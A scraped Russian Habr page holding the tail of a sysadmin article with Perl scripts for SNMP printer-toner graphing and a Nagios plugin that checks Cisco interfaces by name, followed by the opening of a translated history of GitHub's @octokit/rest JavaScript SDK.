#
use Encode;
require "prn.list";
$RRD = '/usr/local/bin/rrdtool';
$DBNAME = '/data/rrdtool/printers/prn-toner.rrd';
$SNMP = '/usr/local/bin/snmpget -v1';
$INDEXMAX = 6;
$TONERDEBUG = '';
@TONERSTATUS = ();
@PRNNAME = ();
@TONERNAME = ();
for ($i=1; $i < 256; $i++) {
$TONERNAME[$i] = "X";
$TONERSTATUS[$i] = 'U:U:U:U:U:U';
$PRNNAME[$i] = "";
}
LoadPRNData($PRNINFOfile);
foreach $i (@usedip) {
getPRNInfo($i);
}
$t = 'N';
for ($i=1; $i < 256; $i++) {
$t = $t.":$TONERSTATUS[$i]";
}
# --------- debug !
#print "$t\n";
#print "$TONERDEBUG\n";
# --------------- !
$rrd = "$RRD update $DBNAME $t";
my $q = `$rrd`;
if (length($q) > 2) { print "ERROR update '$DBNAME': $q\n"; }
StorePRNData($PRNINFOfile);
sub getPRNInfo {
my $ip = shift;
my ($res,$r) = '';
my ($i,$k);
my ($dat) = '';
my ($tonerstatus) = '1.3.6.1.2.1.43.11.1.1.9.1';
my ($tonername) = '1.3.6.1.2.1.43.11.1.1.6.1';
my ($prnname) = '1.3.6.1.2.1.1.5.0';
$q = "$SNMP -c public 192.168.0.$ip $prnname | awk \'\{print \$4\}\'";
$dat = `$q`;
chomp $dat;
# ------------ debug ----------------
#print "$ip (prnname) = $dat \n";
if (length($dat) < 1) { return }
$PRNNAME[$ip] = $dat;
$k = 1;
for ($i = 1; $i <= $INDEXMAX; $i++) {
$q = "$SNMP -c public 192.168.0.$ip $tonerstatus.$i | awk \'\{print \$4\}\'";
$dat = `$q`;
chomp $dat;
# ------------ debug ----------------
#print "$ip (status) = $dat \n";
if (length($dat) < 1) { last }
if ($dat < 0) {
if ($dat == -3) { $dat = 100 };
if ($dat == -2) { $dat = 30 };
if ($dat == -1) { $dat = 10 };
}
if (length($res) < 1) { $res = $dat }
else { $res = $res.":$dat"; }
$k++;
$q = "$SNMP -c public 192.168.0.$ip $tonername.$i";
$dat = `$q`;
chomp $dat;
$dat =~ s/\n//g;
# ------------ debug ----------------
#print "$ip (name) = $dat \n";
if ($dat =~ /STRING: \"(.+)\"/) {
$r = $r."$1 |";
}
elsif ($dat =~ /Hex-STRING: (.+)/) {
#print "$dat\n";
my $s = getStringH($1);
$r = $r."$s |";
}
else { last };
}
Encode::from_to($r, 'utf-8', 'windows-1251');
$r =~ s/\?+//g;
for ($i = $k; $i<= $INDEXMAX; $i++) {
if (length($res) < 1) { $res = 'U' }
else { $res = $res.':U'; }
}
$TONERSTATUS[$ip] = $res;
$TONERNAME[$ip] = $r;
$TONERDEBUG = $TONERDEBUG."$ip: $res \n";
}
sub StorePRNData {
my $filename = shift;
my $i;
my $s = "";
foreach $i (@usedip) {
if ((length($PRNNAME[$i]) > 2) && (length($TONERNAME[$i]) > 2)) {
$s = $s."$i = ";
$s = $s."$PRNNAME[$i] / ";
$s = $s."$TONERNAME[$i]";
$s = $s."\n";
}
}
open (F, ">$HOME/$filename");
print F $s;
close F;
}
sub getStringH {
my $s = shift;
$s =~ s/(00)//egi;
$s =~ s/([0-9a-f][0-9a-f])/chr(hex($1))/egi;
$s =~ s/ //g;
return $s;
}
```
**toners\_draw.pl**
```
#!/usr/bin/perl
#
# (C) Smithson Inc, 2008
#
use Encode;
require "prn.list";
$RRD = '/usr/local/bin/rrdtool';
$DBNAME = '/data/rrdtool/printers/prn-toner.rrd';
$IMGPATH= '/data/rrdtool/www/printers/img';
my $BLACK = '#000000';
my $YELLOW = '#FFFF00';
my $CYAN = '#00CCFF';
my $MAGENTA= '#EE00EE';
my $FUSION = '#00CC00';
my $FUSION1= '#CC0000';
my $TICKCOLOR = '#888888';
$INDEXMAX = 6;
@TONERSTATUS = ();
@PRNNAME = ();
@TONERNAME = ();
LoadPRNData ($PRNINFOfile);
DrawToners(340, 230, "-48h");
foreach $j (@periodlist) {
DrawToners(500, 300, "-$j");
}
sub DrawBlack {
# рисует картинку для черно-белого принтера - первый параметр - картридж, второй - печка
my $ip = shift; # ip address
my $width = shift;
my $height = shift;
my $period = shift;
my ($toner, $fusion) = split (/ \|/, $TONERNAME[$ip]);
my $title = $PRNNAME[$ip];
# Если имя есть, то используется оно, иначе используется ip
# Если имя есть и картинка широкая, то к имени добавляется ещё и ip
if (length($title) < 2) { $title = "192.168.0.$ip" }
elsif ($width > 350) { $title = $title." (192.168.0.$ip)" }
my $q = "$RRD graph $IMGPATH/toner".$ip.$period.".png ";
$q = $q."--start $period --end now ";
$q = $q."--width $width --height $height ";
$q = $q."--full-size-mode ";
$q = $q."--title \"$title Info ($period)\" ";
if ((length($fusion) > 31) && ($width < 350)) {
$fusion = substr($fusion, 0, 29)."...";
}
# else { $q = $q."--lazy "; }
$q = $q."--lower-limit 0 ";
$q = $q." DEF:p01=$DBNAME:prn".$ip."toner1status:AVERAGE ";
$q = $q." CDEF:pp1=p01 ";
$q = $q." CDEF:z1=p01,0,EQ ";
if (length($fusion) > 1) {
$q = $q." DEF:p02=$DBNAME:prn".$ip."toner2status:AVERAGE ";
} else { $q = $q."CDEF:p02=p01,0,\* "; }
$q = $q." CDEF:fusion1=p02,0.01,\* ";
$q = $q." CDEF:fusion=0,fusion1,- ";
# }
$q = $q." AREA:p01$BLACK:\"$toner \" ";
$q = $q."GPRINT:pp1:LAST:\"%0.0lf\\j\" ";
$q = $q." TICK:z1$TICKCOLOR:1 ";
# if (length($fusion) > 1) {
$q = $q." LINE3:fusion$FUSION:\"$fusion\" ";
$q = $q."GPRINT:p02:LAST:\"%0.0lf\\j\"";
# }
my $dat = `$q`;
}
sub DrawColor {
# рисует картинку для цветного принтера - первый параметр - черный картридж, второй-третий-четвертый - цветные
# пятый-шестой - печка
my $ip = shift; # ip address
my $width = shift;
my $height = shift;
my $period = shift;
my ($color0, $color1, $color2, $color3) = ($BLACK, $CYAN, $MAGENTA, $YELLOW);
my ($toner0, $toner1, $toner2, $toner3, $fusion, $fusion1) = split (/ \|/, $TONERNAME[$ip]);
($color0, $color1, $color2, $color3) = SortColors(($toner0, $toner1, $toner2, $toner3));
my $title = $PRNNAME[$ip];
# Если имя есть, то используется оно, иначе используется ip
# Если имя есть и картинка широкая, то к имени добавляется ещё и ip
if (length($title) < 2) { $title = "192.168.0.$ip" }
elsif ($width > 350) { $title = $title." (192.168.0.$ip)" }
my $q = "$RRD graph $IMGPATH/toner".$ip.$period.".png ";
$q = $q."--start $period --end now ";
$q = $q."--width $width --height $height ";
$q = $q."--full-size-mode ";
$q = $q."--title \"$title Info ($period)\" ";
if ((length($fusion1) > 31) && ($width < 350)) {
$fusion1 = substr($fusion1, 0, 29)."...";
}
else { $q = $q."--lazy "; }
$q = $q."--lower-limit 0 ";
$q = $q." DEF:p01=$DBNAME:prn".$ip."toner1status:AVERAGE ";
$q = $q." DEF:p02=$DBNAME:prn".$ip."toner2status:AVERAGE ";
$q = $q." DEF:p03=$DBNAME:prn".$ip."toner3status:AVERAGE ";
$q = $q." DEF:p04=$DBNAME:prn".$ip."toner4status:AVERAGE ";
$q = $q." CDEF:pp1=p01 ";
$q = $q." CDEF:pp2=p02 ";
$q = $q." CDEF:pp3=p03 ";
$q = $q." CDEF:pp4=p04 ";
$q = $q." CDEF:z1=p01,0,EQ ";
$q = $q." CDEF:z2=p02,0,EQ ";
$q = $q." CDEF:z3=p03,0,EQ ";
$q = $q." CDEF:z4=p04,0,EQ ";
$q = $q." CDEF:z5=z1,z2,+ ";
$q = $q." CDEF:z6=z5,z3,+ ";
$q = $q." CDEF:z0=z6,z4,+ ";
$q = $q." DEF:p05=$DBNAME:prn".$ip."toner5status:AVERAGE ";
$q = $q." CDEF:fusion0=p05,0.1,\* ";
$q = $q." CDEF:fusion=0,fusion0,- ";
$q = $q." DEF:p06=$DBNAME:prn".$ip."toner6status:AVERAGE ";
$q = $q." CDEF:fusion2=p06,0.1,\* ";
$q = $q." CDEF:fusion1=0,fusion2,- ";
$q = $q." TICK:z0$TICKCOLOR:1 ";
$q = $q." AREA:pp1$color0:\"$toner0\" ";
$q = $q."GPRINT:pp1:LAST:\"%0.0lf\\j\" ";
$q = $q." STACK:pp2$color1:\"$toner1\" ";
$q = $q."GPRINT:pp2:LAST:\"%0.0lf\\j\" ";
$q = $q." STACK:pp3$color2:\"$toner2\" ";
$q = $q."GPRINT:pp3:LAST:\"%0.0lf\\j\" ";
$q = $q." STACK:pp4$color3:\"$toner3\" ";
$q = $q."GPRINT:pp4:LAST:\"%0.0lf\\j\" ";
if (length($fusion) > 1) {
$q = $q." LINE3:fusion$FUSION:\"$fusion\" ";
$q = $q."GPRINT:p05:LAST:\"%0.0lf\\j\" ";
}
if (length($fusion1) > 1) {
$q = $q." LINE3:fusion1$FUSION1:\"$fusion1\" ";
$q = $q."GPRINT:p06:LAST:\"%0.0lf\\j\" ";
}
my $dat = `$q`;
}
sub SortColors {
# принимает массив названий картриджей и возвращает список цветов согласно цветам картриджей
my @list = @_;
my (@c) = ($BLACK, $CYAN, $MAGENTA, $YELLOW);
my $i;
for ($i = 0; $i < 4; $i++) {
my $s = $list[$i];
if ($s =~ /Black/i) {
$c[$i] = $BLACK;
}
if ($s =~ /Cyan/i) {
$c[$i] = $CYAN;
}
if ($s =~ /Magent/i) {
$c[$i] = $MAGENTA;
}
if ($s =~ /Yellow/i) {
$c[$i] = $YELLOW;
}
}
return @c;
}
sub DrawToners {
# рисует весь массив принтеров, разделяя их на цветные или черно-белые
my $width = shift;
my $height = shift;
my $period = shift;
my ($i);
my ($name);
foreach $i (@usedip) {
$name = $TONERNAME[$i];
my @aa = split(/\|/, $name);
my $qa = $#aa+1;
#print "$i = $qa ($name) \n";
if ($qa > 3) {
DrawColor($i, $width, $height, $period);
}
else {
DrawBlack($i, $width, $height, $period);
}
};
}
```
**prn.list**
```
@usedip = (
115,
122,124,125,128,129,
131,132,136,137,
140,141,142,145,147,148,
150,152,155,157,
160,162,164,165,166,167,168,169,
171,172,173,174,175,176,177,179,
180,182,183,185,186,188,189,
190,191,192,194,195,197,198,199,
201,202,203,205,207,208,209,
210,212,215,216,217,219,
220,225,
235,236,237,
241,245
);
@periodlist = ('14h', '2d', '10d', '30d', '1y');
$HOME = '/data/rrdtool/printers';
$PRNINFOfile = 'prn.info';
sub LoadPRNData {
my $filename = shift;
my $i;
my $s = "";
my @data;
open (F, "$HOME/$filename");
@data=;
close F;
foreach $s (@data) {
if ($s =~ /(\d+) = (.+) \/ (.\*)/) {
$i = $1;
$PRNNAME[$i] = $2;
$TONERNAME[$i] = $3;
}
}
}
```
Суть этой магии в том, что при рисовании данные берутся из заранее сформированного файла вида:
**prn.info**
```
216 = NPI93F7F3 / Black Cartridge HP CE278A |
219 = NPID6E096 / Black Cartridge HP CE278A |
220 = HOZY / Black Print Cartridge HP Q1339A |Maintenance Kit HP 110V-Q2436A, 220V-Q2437A |
225 = NPIBAA4EA / Toner Cartridge HP C4127X |
235 = Ditat_HP4700_Color / Black Cartridge HP Q5950A |Cyan Cartridge HP Q5951A |Magenta Cartridge HP Q5953A |Yellow Cartridge HP Q5952A |Image Transfer Kit HP Q7504A |Image Fuser Kit HP 110V-Q7502A, 220V-Q7503A |
237 = NPI7C543C / BlackCartridgeHPCC364X |MaintenanceKitHP110V-CB388A,220V-CB389A |
241 = WorkCentre / Black Toner Cartridge |Yellow Toner Cartridge |Magenta Toner Cartridge |Cyan Toner Cartridge |Waste Toner Container |
245 = NPI0E8A4D / Black Print Cartridge HP C8543X |Maintenance Kit HP 110V-C9152A, 220V-C9153A |
```
При большом количестве принтеров это сильно снижает нагрузку как на «рисовальный» сервер, так и на сами принтеры.
### И немного о Cisco
Да, мониторинг cisco через nagios стандартнее некуда. Но есть нюанс. Как всегда, при интенсивной работе routers и switchs обрастают новыми интерфейсами. Туннели, vlans и прочие подинтерфейсы возникают и накапливаются, их ставят на мониторинг и всё вроде бы отлично. Но потом случается она, перезагрузка — и вдруг выясняется, что при старте cisco отсортировала интерфейсы по типам, а внутри типов — по номерам и те номера в дереве mibs, которые вы обнаруживали и прописывали в мониторинге — уже не те.
Во избежание надо мониторить по имени интерфейса. Стандартный плагин нагиоса вроде даже умеет — но не делает этого. Не находит он интерфейс по имени. Хотя имя типа Tunnel40 — куда уж уникальнее.
**check\_iftraf**
```
#! /usr/local/bin/perl -w
use POSIX;
use strict;
use lib "/usr/local/libexec/nagios" ;
use utils qw($TIMEOUT %ERRORS &print_revision &support);
use Net::SNMP;
use Getopt::Long;
&Getopt::Long::config('bundling');
my $PROGNAME = "check_iftraf";
sub print_help ();
sub usage ($);
sub print_usage ();
sub process_arguments ();
my $timeout;
my $status;
my %ifOperStatus = ('1','up',
'2','down',
'3','testing',
'4','unknown',
'5','dormant',
'6','notPresent',
'7','lowerLayerDown'); # down due to the state of lower layer interface(s)
my $state = "UNKNOWN";
my $answer = "";
my $snmpkey = 0;
my $community = "public";
my $maxmsgsize = 1472 ; # Net::SNMP default is 1472
my ($seclevel, $authproto, $secname, $authpass, $privpass, $privproto, $auth, $priv, $context);
my $port = 161;
my @snmpoids;
my $sysUptime = '1.3.6.1.2.1.1.3.0';
my $snmpIfDescr = '1.3.6.1.2.1.2.2.1.2';
my $snmpIfType = '1.3.6.1.2.1.2.2.1.3';
my $snmpIfAdminStatus = '1.3.6.1.2.1.2.2.1.7';
my $snmpIfOperStatus = '1.3.6.1.2.1.2.2.1.8';
my $snmpIfName = '1.3.6.1.2.1.31.1.1.1.1';
my $snmpIfLastChange = '1.3.6.1.2.1.2.2.1.9';
my $snmpIfAlias = '1.3.6.1.2.1.31.1.1.1.18';
my $snmpLocIfDescr = '1.3.6.1.4.1.9.2.2.1.1.28';
my $snmpMIBIN = '1.3.6.1.2.1.2.2.1.10';
my $snmpMIBOUT = '1.3.6.1.2.1.2.2.1.16';
my $hostname;
my $ifName;
my $session;
my $error;
my $response;
my $snmp_version = 2 ;
my $ifXTable;
my $opt_h ;
my $opt_V ;
my $ifdescr;
my $iftype;
my $key;
my $lastc;
my $dormantWarn;
my $adminWarn;
my $name;
my %session_opts;
### Validate Arguments
$status = process_arguments();
# Just in case of problems, let's not hang Nagios
$SIG{'ALRM'} = sub {
print ("ERROR: U U No snmp response from $hostname (alarm)\n");
exit $ERRORS{"UNKNOWN"};
};
alarm($timeout);
($session, $error) = Net::SNMP->session(%session_opts);
if (!defined($session)) {
$state='UNKNOWN';
$answer=' U U '.$error;
print ("$state: $answer\n");
exit $ERRORS{$state};
}
## map ifdescr to ifindex - should look at being able to cache this value
if (defined $ifdescr || defined $iftype) {
# escape "/" in ifdescr - very common in the Cisco world
if (defined $iftype) {
$status=fetch_ifindex($snmpIfType, $iftype);
} else {
$ifdescr =~ s/\//\\\//g;
$status=fetch_ifindex($snmpIfDescr, $ifdescr); # if using on device with large number of interfaces
# recommend use of SNMP v2 (get-bulk)
}
if ($status==0) {
$state = "UNKNOWN";
printf "$state: U U could not retrive ifdescr/iftype snmpkey - $status-$snmpkey\n";
$session->close;
exit $ERRORS{$state};
}
}
## Main function
$snmpIfAdminStatus = $snmpIfAdminStatus . "." . $snmpkey;
$snmpIfOperStatus = $snmpIfOperStatus . "." . $snmpkey;
$snmpIfDescr = $snmpIfDescr . "." . $snmpkey;
$snmpIfName = $snmpIfName . "." . $snmpkey ;
$snmpIfAlias = $snmpIfAlias . "." . $snmpkey ;
$snmpMIBIN = $snmpMIBIN . "." . $snmpkey ;
$snmpMIBOUT = $snmpMIBOUT . "." . $snmpkey ;
push(@snmpoids,$snmpIfAdminStatus);
push(@snmpoids,$snmpIfOperStatus);
push(@snmpoids,$snmpIfDescr);
push(@snmpoids,$snmpIfName) if (defined $ifXTable) ;
push(@snmpoids,$snmpIfAlias) if (defined $ifXTable) ;
push(@snmpoids,$snmpMIBIN);
push(@snmpoids,$snmpMIBOUT);
if (!defined($response = $session->get_request(@snmpoids))) {
$answer=$session->error;
$session->close;
$state = 'WARNING';
print ("$state: SNMP error: $answer\n");
exit $ERRORS{$state};
}
$answer = sprintf("host '%s', %s(%s) is %s\n",
$hostname,
$response->{$snmpIfDescr},
$snmpkey,
$ifOperStatus{$response->{$snmpIfOperStatus}}
);
## Check to see if ifName match is requested and it matches - exit if no match
## not the interface we want to monitor
if ( defined $ifName && not ($response->{$snmpIfName} eq $ifName) ) {
$state = 'UNKNOWN';
$answer = "U U Interface name ($ifName) doesn't match snmp value ($response->{$snmpIfName}) (index $snmpkey)";
print ("$state: $answer\n");
exit $ERRORS{$state};
}
## define the interface name
if (defined $ifXTable) {
$name = $response->{$snmpIfName} ." - " .$response->{$snmpIfAlias} ;
}else{
$name = $response->{$snmpIfDescr} ;
}
## if AdminStatus is down - some one made a consious effort to change config
##
if ( not ($response->{$snmpIfAdminStatus} == 1) ) {
$answer = "Interface $name (index $snmpkey) is administratively down.";
if ( not defined $adminWarn or $adminWarn eq "w" ) {
$state = 'WARNING';
} elsif ( $adminWarn eq "i" ) {
$state = 'OK';
} elsif ( $adminWarn eq "c" ) {
$state = 'CRITICAL';
} else { # If wrong value for -a, say warning
$state = 'WARNING';
}
}
## Check operational status
elsif ( $response->{$snmpIfOperStatus} == 2 ) {
$state = 'CRITICAL';
$answer = "U U Interface $name (index $snmpkey) is down.";
} elsif ( $response->{$snmpIfOperStatus} == 5 ) {
if (defined $dormantWarn ) {
if ($dormantWarn eq "w") {
$state = 'WARNING';
$answer = "U U Interface $name (index $snmpkey) is dormant.";
}elsif($dormantWarn eq "c") {
$state = 'CRITICAL';
$answer = "U U Interface $name (index $snmpkey) is dormant.";
}elsif($dormantWarn eq "i") {
$state = 'OK';
$answer = "U U Interface $name (index $snmpkey) is dormant.";
}
}else{
# dormant interface - but warning/critical/ignore not requested
$state = 'CRITICAL';
$answer = "U U Interface $name (index $snmpkey) is dormant.";
}
} elsif ( $response->{$snmpIfOperStatus} == 6 ) {
$state = 'CRITICAL';
$answer = "U U Interface $name (index $snmpkey) notPresent - possible hotswap in progress.";
} elsif ( $response->{$snmpIfOperStatus} == 7 ) {
$state = 'CRITICAL';
$answer = "U U Interface $name (index $snmpkey) down due to lower layer being down.";
} elsif ( $response->{$snmpIfOperStatus} == 3 || $response->{$snmpIfOperStatus} == 4 ) {
$state = 'CRITICAL';
$answer = "U U Interface $name (index $snmpkey) down (testing/unknown).";
} else {
$state = 'OK';
my $inQ = $response->{$snmpMIBIN};
my $outQ = $response->{$snmpMIBOUT};
$answer = "$inQ $outQ";
}
print ("$state: $answer\n");
exit $ERRORS{$state};
### subroutines
sub fetch_ifindex {
my $oid = shift;
my $lookup = shift;
if (!defined ($response = $session->get_table($oid))) {
$answer=$session->error;
$session->close;
$state = 'CRITICAL';
printf ("$state: SNMP error with snmp version $snmp_version ($answer)\n");
$session->close;
exit $ERRORS{$state};
}
foreach $key ( keys %{$response}) {
if ($response->{$key} =~ /$lookup/) {
$key =~ /.*\.(\d+)$/;
$snmpkey = $1;
#print "$lookup = $key / $snmpkey \n"; #debug
}
}
unless (defined $snmpkey) {
$session->close;
$state = 'CRITICAL';
printf "$state: Could not match $ifdescr on $hostname\n";
exit $ERRORS{$state};
}
return $snmpkey;
}
sub usage($) {
print "$_[0]\n";
print_usage();
exit $ERRORS{"UNKNOWN"};
}
sub print_usage() {
printf "\n";
printf "usage: \n";
printf "check_iftraf -d -H [-C ]\n";
printf "Copyright (C) 2000 Christoph Kron\n";
printf "check\_iftraf.pl comes with ABSOLUTELY NO WARRANTY\n";
printf "This programm is licensed under the terms of the ";
printf "GNU General Public License\n(check source code for details)\n";
printf "\n\n";
}
sub print\_help() {
print\_revision($PROGNAME, '');
print\_usage();
printf "check\_iftraf plugin for Nagios monitors operational \n";
printf "status of a particular network interface on the target host\n";
printf "\nUsage:\n";
printf " -H (--hostname) Hostname to query - (required)\n";
printf " -C (--community) SNMP read community (defaults to public,\n";
printf " used with SNMP v1 and v2c\n";
printf " -v (--snmp\_version) 1 for SNMP v1 (default)\n";
printf " 2 for SNMP v2c\n";
printf " SNMP v2c will use get\_bulk for less overhead\n";
printf " if monitoring with -d\n";
printf " -L (--seclevel) choice of \"noAuthNoPriv\", \"authNoPriv\", or \"authPriv\"\n";
printf " -U (--secname) username for SNMPv3 context\n";
printf " -c (--context) SNMPv3 context name (default is empty string)\n";
printf " -A (--authpass) authentication password (cleartext ascii or localized key\n";
printf " in hex with 0x prefix generated by using \"snmpkey\" utility\n";
printf " auth password and authEngineID\n";
printf " -a (--authproto) Authentication protocol (MD5 or SHA1)\n";
printf " -X (--privpass) privacy password (cleartext ascii or localized key\n";
printf " in hex with 0x prefix generated by using \"snmpkey\" utility\n";
printf " privacy password and authEngineID\n";
printf " -P (--privproto) privacy protocol (DES or AES; default: DES)\n";
printf " -k (--key) SNMP IfIndex value\n";
printf " -d (--descr) SNMP ifDescr value\n";
printf " -T (--type) SNMP ifType integer value (see http://www.iana.org/assignments/ianaiftype-mib)\n";
printf " -p (--port) SNMP port (default 161)\n";
printf " -I (--ifmib) Agent supports IFMIB ifXTable. Do not use if\n";
printf " you don't know what this is. \n";
printf " -n (--name) the value should match the returned ifName\n";
printf " (Implies the use of -I)\n";
printf " -w (--warn =i|w|c) ignore|warn|crit if the interface is dormant (default critical)\n";
printf " -D (--admin-down =i|w|c) same for administratively down interfaces (default warning)\n";
printf " -M (--maxmsgsize) Max message size - usefull only for v1 or v2c\n";
printf " -t (--timeout) seconds before the plugin times out (default=$TIMEOUT)\n";
printf " -V (--version) Plugin version\n";
printf " -h (--help) usage help \n\n";
printf " -k or -d or -T must be specified\n\n";
printf "Note: either -k or -d or -T must be specified and -d and -T are much more network \n";
printf "intensive. Use it sparingly or not at all. -n is used to match against\n";
printf "a much more descriptive ifName value in the IfXTable to verify that the\n";
printf "snmpkey has not changed to some other network interface after a reboot.\n\n";
}
sub process\_arguments() {
$status = GetOptions(
"V" => \$opt\_V, "version" => \$opt\_V,
"h" => \$opt\_h, "help" => \$opt\_h,
"v=i" => \$snmp\_version, "snmp\_version=i" => \$snmp\_version,
"C=s" => \$community, "community=s" => \$community,
"L=s" => \$seclevel, "seclevel=s" => \$seclevel,
"a=s" => \$authproto, "authproto=s" => \$authproto,
"U=s" => \$secname, "secname=s" => \$secname,
"A=s" => \$authpass, "authpass=s" => \$authpass,
"X=s" => \$privpass, "privpass=s" => \$privpass,
"P=s" => \$privproto, "privproto=s" => \$privproto,
"c=s" => \$context, "context=s" => \$context,
"k=i" => \$snmpkey, "key=i",\$snmpkey,
"d=s" => \$ifdescr, "descr=s" => \$ifdescr,
"l=s" => \$lastc, "lastchange=s" => \$lastc,
"p=i" => \$port, "port=i" =>\$port,
"H=s" => \$hostname, "hostname=s" => \$hostname,
"I" => \$ifXTable, "ifmib" => \$ifXTable,
"n=s" => \$ifName, "name=s" => \$ifName,
"w=s" => \$dormantWarn, "warn=s" => \$dormantWarn,
"D=s" => \$adminWarn, "admin-down=s" => \$adminWarn,
"M=i" => \$maxmsgsize, "maxmsgsize=i" => \$maxmsgsize,
"t=i" => \$timeout, "timeout=i" => \$timeout,
"T=i" => \$iftype, "type=i" => \$iftype,
);
if ($status == 0){
print\_help();
exit $ERRORS{'OK'};
}
if ($opt\_V) {
print\_revision($PROGNAME,'');
exit $ERRORS{'OK'};
}
if ($opt\_h) {
print\_help();
exit $ERRORS{'OK'};
}
if (! utils::is\_hostname($hostname)){
usage("Hostname invalid or not given");
}
unless ($snmpkey > 0 || defined $ifdescr || defined $iftype){
usage("Either a valid snmp key (-k) or a ifDescr (-d) must be provided");
}
if (defined $ifName) {
$ifXTable=1;
}
if (defined $dormantWarn) {
unless ($dormantWarn =~ /^(w|c|i)$/ ) {
printf "Dormant alerts must be one of w|c|i \n";
exit $ERRORS{'UNKNOWN'};
}
}
unless (defined $timeout) {
$timeout = $TIMEOUT;
}
if ($snmp\_version !~ /[123]/){
$state='UNKNOWN';
print ("$state: No support for SNMP v$snmp\_version yet\n");
exit $ERRORS{$state};
}
%session\_opts = (
-hostname => $hostname,
-port => $port,
-version => $snmp\_version,
-maxmsgsize => $maxmsgsize
);
$session\_opts{'-community'} = $community if (defined $community && $snmp\_version =~ /[12]/);
if ($snmp\_version =~ /3/ ) {
# Must define a security level even though default is noAuthNoPriv
# v3 requires a security username
if (defined $seclevel && defined $secname) {
$session\_opts{'-username'} = $secname;
# Must define a security level even though defualt is noAuthNoPriv
unless ( grep /^$seclevel$/, qw(noAuthNoPriv authNoPriv authPriv) ) {
usage("Must define a valid security level even though default is noAuthNoPriv");
}
# Authentication wanted
if ( $seclevel eq 'authNoPriv' || $seclevel eq 'authPriv' ) {
if (defined $authproto && $authproto ne 'MD5' && $authproto ne 'SHA1') {
usage("Auth protocol can be either MD5 or SHA1");
}
$session\_opts{'-authprotocol'} = $authproto if(defined $authproto);
if ( !defined $authpass) {
usage("Auth password/key is not defined");
}else{
if ($authpass =~ /^0x/ ) {
$session\_opts{'-authkey'} = $authpass ;
}else{
$session\_opts{'-authpassword'} = $authpass ;
}
}
}
# Privacy (DES encryption) wanted
if ($seclevel eq 'authPriv' ) {
if (! defined $privpass) {
usage("Privacy passphrase/key is not defined");
}else{
if ($privpass =~ /^0x/){
$session\_opts{'-privkey'} = $privpass;
}else{
$session\_opts{'-privpassword'} = $privpass;
}
}
$session\_opts{'-privprotocol'} = $privproto if(defined $privproto);
}
# Context name defined or default
unless ( defined $context) {
$context = "";
}
}else {
usage("Security level or name is not defined");
}
} # end snmpv3
}
## End validation
```
Скрипт не мой, но я не помню, что я тут менял, чтобы оно заработало с именем интерфейса. Поэтому вот он целиком.
Ну и на этом пока всё про nagios и его плагины. | https://habr.com/ru/post/307918/ | null | ru | null |
# От 48k до 10 строк кода — история GitHub JavaScript SDK
`@octokit/rest` изначально не является оригинальной разработкой GitHub, и представляет собой адаптацию [github](https://www.npmjs.com/package/github) — самого популярного пакета 2017 года от пользователя [@bkeepers](https://github.com/bkeepers). В этом посте будем говорить про [`@octokit/rest`](https://github.com/octokit/rest.js/) — теперь официальный JavaScript SDK для [GitHub REST API](https://developer.github.com/v3).
> Грегор (автор статьи) является разработчиком JavaScript Octokit. Он бывалый open source разработчик, с особой тягой к автоматизации задач и снижению порога вхождения для контрибьюторов всех видов и профессий. Помимо Octokit, Грегор работает над [Probot](https://probot.github.io/), [nock](https://github.com/nock/nock/) и [semantic-release](https://semantic-release.gitbook.io/semantic-release/). В свободное время он заботится о своих тройняшках Нико, Аде и Киане. Больше материалов Грегора можно найти на [DEV community](https://dev.to/gr2m/) и [Twitter](https://mobile.twitter.com/gr2m).
legacy
------
Позже переименованный в `@octokit/rest`, пакет `github` был одним из старейших проектов в экосистеме Node. [Первый коммит](https://github.com/octokit/rest.js/commit/6eba297d1a572af6ef35c69faea42262f6aaf5dc) сделан в июне 2010 года. Это были времена [Node v0.1](https://github.com/nodejs/node-v0.x-archive/releases/tag/v0.1.97), когда *package.json* еще не существовал, а реестр npm был всё ещё в разработке.
В 2017 году GitHub наняли меня, чтобы переработать пакет `github` в официальный GitHub API JavaScript SDK для браузеров и Node.js. Здесь можно найти [мой первый коммит](https://github.com/octokit/rest.js/commits/50720c8b1795e24f938bdbf44cb37922241b04dc) в сентябре 2017 года. На тот момент в проекте было около 16 тысяч строк кода, разбитых на три JavaScript файла, один огромный JSON и два файла для определений типов TypeScript/Flow.
```
➜ rest.js git:(50720c8) wc -l lib/*
120 lib/error.js
3246 lib/index.d.ts
905 lib/index.js
3232 lib/index.js.flow
17 lib/promise.js
7995 lib/routes.json
143 lib/util.js
15658 total
```
Разработка
----------
Первой основной целью проекта была поддерживаемость кода. Тогда ключевым компонентом библиотеки был огромный файл [*routes.json*](https://github.com/octokit/rest.js/blob/586a4df56a42d5daab2d3350b8db018e9c9b95fb/lib/routes.json) на почти 8 тысяч строк, который определял все конечные точки REST API GitHub. Его поддержка осуществлялась вручную, а создание/изменение роутов было следствием [случайного обнаружения проблемы](https://github.com/octokit/rest.js/issues/558).
Учитывая этот факт, я написал скрипт ([octokit/routes](https://github.com/octokit/routes/)) для автоматического анализа документации REST API GitHub и вывода результата в JSON. Это решило проблему поддержки *routes.json*. Если скрипт обнаруживал изменения, `@octokit/rest` получал PR с обновлениями файла *routes.json*, и после мерджа происходил автоматический релиз. Благодаря такой автоматизации, файл *routes.json* теперь гарантированно покрывал все конечные точки REST API GitHub и состоял из [10 275 строк кода](https://github.com/octokit/rest.js/blob/v16.0.1/plugins/rest-api-endpoints/routes.json). Сопутствующие определения типов TypeScript увеличились до более чем [26 700 строк кода](https://unpkg.com/browse/@octokit/rest@15.18.0/index.d.ts).
Архитектура
-----------
Как только вопрос полноты и поддерживаемости API был решен, я сосредоточился на другой цели проекта: [модульность](https://github.com/octokit/discussions/tree/5e94064e6b1345d020800a24c8d4a098639b7980/docs#decomposable).
> Прим. переводчика: В оригинальной статье используется термин "decomposability", который дословно можно перевести как "разложимость", что не совсем удачно передает смысл. Здесь имеется ввиду "разделение на части", что можно объяснить как "разделение на модули" или "модульность".
JavaScript Octokit предназначен для всех сред выполнения JavaScript, некоторые из которых имеют строгие ограничения. Например, размер пакета является критическим показателем при использовании в браузере. Поэтому, вместо единой монолитной библиотеки, которая содержит полный REST API, стратегии аутентификации и рекомендованный вспомогательный функционал (например "пагинация"), важно предоставить пользователям доступ к более низкому уровню. Таким образом, будет возможен компромисс между размером пакета и предоставляемым функционалом.
Вот [обзор](https://github.com/octokit/rest.js/blob/f7c9f8699f6c1c7f281c2a22862d2b4c852479dd/HOW_IT_WORKS.md) архитектуры, которую я разработал в январе 2018 года:
Результат внутреннего рефакторинга до новой архитектуры:
*Обратите внимание, что этот пример был упрощен для удобства чтения*
```
➜ rest.js git:(f7c9f86) wc -l index.* lib/**/*.{js,json}
31 index.js
